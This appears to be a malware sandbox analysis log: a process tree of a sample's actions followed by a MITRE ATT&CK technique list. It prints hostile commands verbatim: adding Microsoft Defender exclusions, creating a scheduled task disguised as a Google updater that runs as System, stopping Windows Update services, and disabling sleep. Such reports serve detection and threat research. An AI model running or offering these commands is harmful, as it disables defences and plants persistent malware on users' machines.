C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:1972
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1012
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:1880
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1100
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:664

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:1084

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:436

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:2872

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231005034152.log C:\Windows\Logs\CBS\CbsPersist_20231005034152.cab
1⤵
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1028

C:\Windows\system32\taskeng.exe
taskeng.exe {F1260FFC-C553-4B39-9F8B-E1C549273F12} S-1-5-21-3185155662-718608226-894467740-1000:YETUIZPU\Admin:Interactive:[1]
1⤵
PID:748
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:1588
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:2764
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:2384
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:2872
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:1732

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1732
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1528
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2836
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1136
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2012
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2348

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:3004

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1488

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:2296

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2024
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2528
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2224

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:1800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2960

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1720

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\vabgtjshkifw.xml"
1⤵
- Creates scheduled task(s)
PID:3068

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry